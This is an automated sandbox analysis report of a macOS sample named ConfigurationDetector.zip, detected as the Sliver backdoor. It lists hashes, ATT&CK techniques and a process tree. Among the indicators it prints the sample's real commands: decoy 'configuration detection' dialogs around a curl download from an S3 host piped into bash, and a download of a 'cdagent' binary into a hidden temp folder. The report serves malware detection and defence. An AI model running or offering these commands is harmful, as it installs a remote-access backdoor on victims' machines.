sliver | 8dbf836097cbd346ece1fca7481a5654ce8d61c67f594d5b944d380ff553c97d

Analysis

max time kernel
1033s
max time network
1081s
platform
macos-10.15_amd64
resource
macos-20241101-en
resource tags

arch:amd64arch:i386image:macos-20241101-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
03-12-2024 21:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ConfigurationDetector.zip
Size

4.2MB
MD5

3c4e343282bf2dc0a20442d4f29a1a29
SHA1

94214e65c596dafbd090666891c2026ec1c7c9e5
SHA256

8dbf836097cbd346ece1fca7481a5654ce8d61c67f594d5b944d380ff553c97d
SHA512

49897d2d99a9bd6243f00821d9cc561c1acb32e0596d02f9f9e973f98c5345768d77c84033d50f0cd2d49e747610e885d359990f35ceeb20ea4ac5954820bed0
SSDEEP

98304:0ur4m+zIHbrLLVlXCr7Xgcefm0WLtNAnKOtPhOQi0htnQN+Mc:zJomHug2sXrd

Score

10^/10

sliver backdoor discovery evasion execution exfiltration trojan

Malware Config

Signatures

Sliver RAT v2 1 IoCs

resource	yara_rule
behavioral1/files/0x000000030008f307-216.dat	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver
Path Permission 1 TTPs
Adversaries may modify directory permissions/attributes to evade access control lists (ACLs) and access protected files.
evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Exfiltration Over Alternative Protocol 1 TTPs 3 IoCs

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

exfiltration

Exfiltration Over Unencrypted Non-C2 Protocol

T1048.003

ioc	Process
/bin/bash -c "osascript -e 'display dialog \"Configuration detection in progress, please wait\" buttons {\"Confirm\"} giving up after 5' curl -A O -k -o- -L https://shein-d1d60aa1-575e-4a6b-8d15-78c75c7c914a.s3.us-west-2.amazonaws.com/macos/3c7d6/intro \| bash -s osascript -e 'display dialog \"Configuration detection completed\" buttons {\"Confirm\"} default button \"Confirm\" with icon note' " -	Process not Found
curl -A O -k -o- -L https://shein-d1d60aa1-575e-4a6b-8d15-78c75c7c914a.s3.us-west-2.amazonaws.com/macos/3c7d6/intro	Process not Found
curl -A O -k -L https://shein-d1d60aa1-575e-4a6b-8d15-78c75c7c914a.s3.us-west-2.amazonaws.com/macos/3c7d6/cdagent -o /tmp/.efLgX/cdagent	Process not Found

Gatekeeper Bypass 1 TTPs
Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apples security model to ensure only trusted applications are executed on a host.
evasion

Gatekeeper Bypass
T1553.001
File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.
evasion

File Deletion
T1070.004

AppleScript 1 TTPs 2 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
osascript -e "display dialog \"Configuration detection completed\" buttons {\"Confirm\"} default button \"Confirm\" with icon note"	Process not Found
osascript -e "display dialog \"Configuration detection in progress, please wait\" buttons {\"Confirm\"} giving up after 5"	Process not Found

File and Directory Discovery. 1 TTPs 3 IoCs

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

discovery

File and Directory Discovery

T1083

ioc	Process
basename "/Volumes/Google Chrome/.keystone_install"	Process not Found
defaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName	Process not Found
dirname "/Library/Google/Google Chrome Brand.plist"	Process not Found

Resource Forking 1 TTPs 22 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

evasion

Resource Forking

T1564.009

ioc	Process
/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid DD83236B-D8B4-4D01-B180-55E57130FE37 -post-exec 4	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2	Process not Found
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	Process not Found
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"	Process not Found
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent -runMode ifneeded	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid DD83236B-D8B4-4D01-B180-55E57130FE37	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly	Process not Found
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	Process not Found
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	Process not Found
/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd	Process not Found
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	Process not Found
/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd	Process not Found
/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2	Process not Found
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd	Process not Found
/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2	Process not Found
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2	Process not Found
/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd	Process not Found

/usr/libexec/gkreport
/usr/libexec/gkreport
1⤵
PID:461

/usr/libexec/pkreporter
/usr/libexec/pkreporter
1⤵
PID:460

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/ConfigurationDetector.zip\""
1⤵
PID:468

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/ConfigurationDetector.zip\""
1⤵
PID:468

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/ConfigurationDetector.zip
1⤵
PID:468
- /bin/zsh
  /bin/zsh -c /Users/run/ConfigurationDetector.zip
  2⤵
  PID:470
- /Users/run/ConfigurationDetector.zip
  /Users/run/ConfigurationDetector.zip
  2⤵
  PID:470

/usr/libexec/xpcproxy
xpcproxy com.apple.nsurlstoraged
1⤵
PID:501

/usr/libexec/nsurlstoraged
/usr/libexec/nsurlstoraged --privileged
1⤵
PID:501

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:502

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:502

/usr/libexec/xpcproxy
xpcproxy com.apple.archiveutility.2568
1⤵
PID:503

/System/Library/CoreServices/Applications/Archive Utility.app/Contents/MacOS/Archive Utility
"/System/Library/CoreServices/Applications/Archive Utility.app/Contents/MacOS/Archive Utility"
1⤵
PID:503

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:504

/usr/bin/macbinary
/usr/bin/macbinary probe --verbose /Users/run/ConfigurationDetector.zip
1⤵
PID:505

/usr/bin/file
/usr/bin/file -b /Users/run/ConfigurationDetector.zip
1⤵
PID:506

/usr/libexec/xpcproxy
xpcproxy com.apple.archiveutility.auhelperservice 503
1⤵
PID:507

/System/Library/CoreServices/Applications/Archive Utility.app/Contents/XPCServices/AUHelperService.xpc/Contents/MacOS/AUHelperService
"/System/Library/CoreServices/Applications/Archive Utility.app/Contents/XPCServices/AUHelperService.xpc/Contents/MacOS/AUHelperService"
1⤵
PID:507

/System/Library/Frameworks/FileProvider.framework/XPCServices/ArchiveService.xpc/Contents/MacOS/ArchiveService
/System/Library/Frameworks/FileProvider.framework/XPCServices/ArchiveService.xpc/Contents/MacOS/ArchiveService
1⤵
PID:509

/usr/libexec/xpcproxy
xpcproxy com.apple.appkit.xpc.sandboxedServiceRunner 503
1⤵
PID:510

/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/SandboxedServiceRunner.xpc/Contents/MacOS/SandboxedServiceRunner
/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/SandboxedServiceRunner.xpc/Contents/MacOS/SandboxedServiceRunner
1⤵
PID:510

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.satellite.C6611A1E-4F2F-45D5-BAFB-7EA03814856C 497
1⤵
PID:511

/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
1⤵
PID:511

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:516

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:516

/usr/libexec/xpcproxy
xpcproxy com.apple.xpc.launchd.oneshot.0x10000001.Preview
1⤵
PID:517

/usr/libexec/xpcproxy
xpcproxy com.apple.XprotectFramework.AnalysisService 403
1⤵
PID:518

/System/Library/PrivateFrameworks/XprotectFramework.framework/Versions/A/XPCServices/XprotectService.xpc/Contents/MacOS/XprotectService
/System/Library/PrivateFrameworks/XprotectFramework.framework/Versions/A/XPCServices/XprotectService.xpc/Contents/MacOS/XprotectService
1⤵
PID:518

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:519

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump
1⤵
PID:526

/usr/sbin/spindump
/usr/sbin/spindump
1⤵
PID:526

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump_agent
1⤵
PID:527

/usr/libexec/spindump_agent
/usr/libexec/spindump_agent
1⤵
PID:527

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook
1⤵
PID:528

/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
/System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
1⤵
PID:528

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.satellite.3AC281D4-1370-4CFB-8817-1DBF4150DC4B 528
1⤵
PID:529

/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
/System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
1⤵
PID:529

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:530

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:530

/usr/libexec/xpcproxy
xpcproxy com.google.Chrome.3056
1⤵
PID:531

/Applications/Google Chrome.app/Contents/MacOS/Google Chrome
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
1⤵
PID:531

/usr/libexec/xpcproxy
xpcproxy com.apple.GameController.gamecontrollerd
1⤵
PID:534

/usr/libexec/gamecontrollerd
/usr/libexec/gamecontrollerd
1⤵
PID:534

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler" "--monitor-self-annotation=ptype=crashpad-handler" "--database=/Users/run/Library/Application Support/Google/Chrome/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=channel=" "--annotation=plat=OS X" "--annotation=prod=Chrome_Mac" "--annotation=ver=101.0.4951.54" "--handshake-fd=5"
1⤵
PID:536

/usr/bin/profiles
/usr/bin/profiles status -type enrollment
1⤵
PID:537

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"
1⤵
PID:539

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize" com.google.Chrome
1⤵
PID:540

/usr/bin/tar
/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist
1⤵
PID:541

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent -runMode ifneeded
1⤵
PID:542

/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake-all --system
1⤵
PID:543

/Users/run/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
"/Users/run/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake-all
1⤵
PID:544

/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=4"
1⤵
PID:0
- /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
  "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake --system
  2⤵
  PID:547
- /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
  "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=4"
  2⤵
  PID:0
- - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/Helpers/launcher
    "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/Helpers/launcher" --internal
    3⤵
    PID:550
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)" "--type=gpu-process" "--gpu-preferences=UAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAACIAQAAMAAAAIABAAAAAAAAiAEAAAAAAACQAQAAAAAAAJgBAAAAAAAAoAEAAAAAAACoAQAAAAAAALABAAAAAAAAuAEAAAAAAADAAQAAAAAAAMgBAAAAAAAA0AEAAAAAAADYAQAAAAAAAOABAAAAAAAA6AEAAAAAAADwAQAAAAAAAPgBAAAAAAAAAAIAAAAAAAAIAgAAAAAAABACAAAAAAAAGAIAAAAAAAAgAgAAAAAAACgCAAAAAAAAMAIAAAAAAAA4AgAAAAAAAEACAAAAAAAASAIAAAAAAABQAgAAAAAAAFgCAAAAAAAAYAIAAAAAAABoAgAAAAAAAHACAAAAAAAAeAIAAAAAAACAAgAAAAAAAIgCAAAAAAAAkAIAAAAAAACYAgAAAAAAAKACAAAAAAAAqAIAAAAAAACwAgAAAAAAALgCAAAAAAAAwAIAAAAAAADIAgAAAAAAANACAAAAAAAA2AIAAAAAAADgAgAAAAAAAOgCAAAAAAAA8AIAAAAAAAD4AgAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAHAAAAEAAAAAAAAAAAAAAACAAAABAAAAAAAAAAAAAAAAkAAAAQAAAAAAAAAAAAAAALAAAAEAAAAAAAAAAAAAAADAAAABAAAAAAAAAAAAAAAA4AAAAQAAAAAAAAAAAAAAAPAAAAEAAAAAAAAAABAAAAAAAAABAAAAAAAAAAAQAAAAcAAAAQAAAAAAAAAAEAAAAIAAAAEAAAAAAAAAABAAAACQAAABAAAAAAAAAAAQAAAAsAAAAQAAAAAAAAAAEAAAAMAAAAEAAAAAAAAAABAAAADgAAABAAAAAAAAAAAQAAAA8AAAAQAAAAAAAAAAQAAAAAAAAAEAAAAAAAAAAEAAAABwAAABAAAAAAAAAABAAAAAgAAAAQAAAAAAAAAAQAAAAJAAAAEAAAAAAAAAAEAAAACwAAABAAAAAAAAAABAAAAAwAAAAQAAAAAAAAAAQAAAAOAAAAEAAAAAAAAAAEAAAADwAAABAAAAAAAAAABwAAAAAAAAAQAAAAAAAAAAcAAAAHAAAAEAAAAAAAAAAHAAAACAAAABAAAAAAAAAABwAAAAkAAAAQAAAAAAAAAAcAAAALAAAAEAAAAAAAAAAHAAAADAAAABAAAAAAAAAABwAAAA4AAAAQAAAAAAAAAAcAAAAPAAAAEAAAAAAAAAAIAAAAAAAAABAAAAAAAAAACAAAAAcAAAAQAAAAAAAAAAgAAAAIAAAAEAAAAAAAAAAIAAAACQAAABAAAAAAAAAACAAAAAsAAAAQAAAAAAAAAAgAAAAMAAAAEAAAAAAAAAAIAAAADgAAABAAAAAAAAAACAAAAA8AAAAQAAAAAAAAAAoAAAAAAAAAEAAAAAAAAAAKAAAABwAAABAAAAAAAAAACgAAAAgAAAAQAAAAAAAAAAoAAAAJAAAAEAAAAAAAAAAKAAAACwAAABAAAAAAAAAACgAAAAwAAAAQAAAAAAAAAAoAAAAOAAAAEAAAAAAAAAAKAAAADwAAAAgAAAAAAAAACAAAAAAAAAA=" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=19"
    3⤵
    PID:552
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=network.mojom.NetworkService" "--lang=en-GB" "--service-sandbox-type=network" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=26"
    3⤵
    PID:553
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=storage.mojom.StorageService" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=26"
    3⤵
    PID:554
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)" "--type=utility" "--utility-sub-type=mac_notifications.mojom.MacNotificationProvider" "--lang=en-GB" "--service-sandbox-type=none" --message-loop-type-ui --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072"
    3⤵
    PID:555
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=7" "--launch-time-ticks=468028234" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=58"
    3⤵
    PID:556
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=6" "--launch-time-ticks=468127986" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=58"
    3⤵
    PID:557
- - /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
    /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin --productid com.google.Chrome --print-tickets --store /Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore
    3⤵
    PID:558
- - /usr/libexec/xpcproxy
    xpcproxy com.apple.SafariLaunchAgent
    3⤵
    PID:559
- - /Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
    /Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
    3⤵
    PID:559
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=8" "--launch-time-ticks=470862131" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=67"
    3⤵
    PID:561
- - /Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher
    "/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"
    3⤵
    PID:562
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=12" "--launch-time-ticks=471359996" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=73"
    3⤵
    PID:563
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=10" "--launch-time-ticks=471762958" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=74"
    3⤵
    PID:564
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=11" "--launch-time-ticks=472254705" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=77"
    3⤵
    PID:565
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=92"
    3⤵
    PID:566
- - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
    "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=14" "--launch-time-ticks=476981028" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=96"
    3⤵
    PID:567
- - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
    GoogleUpdater --server "--service=update-internal" --system
    3⤵
    PID:0
  - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
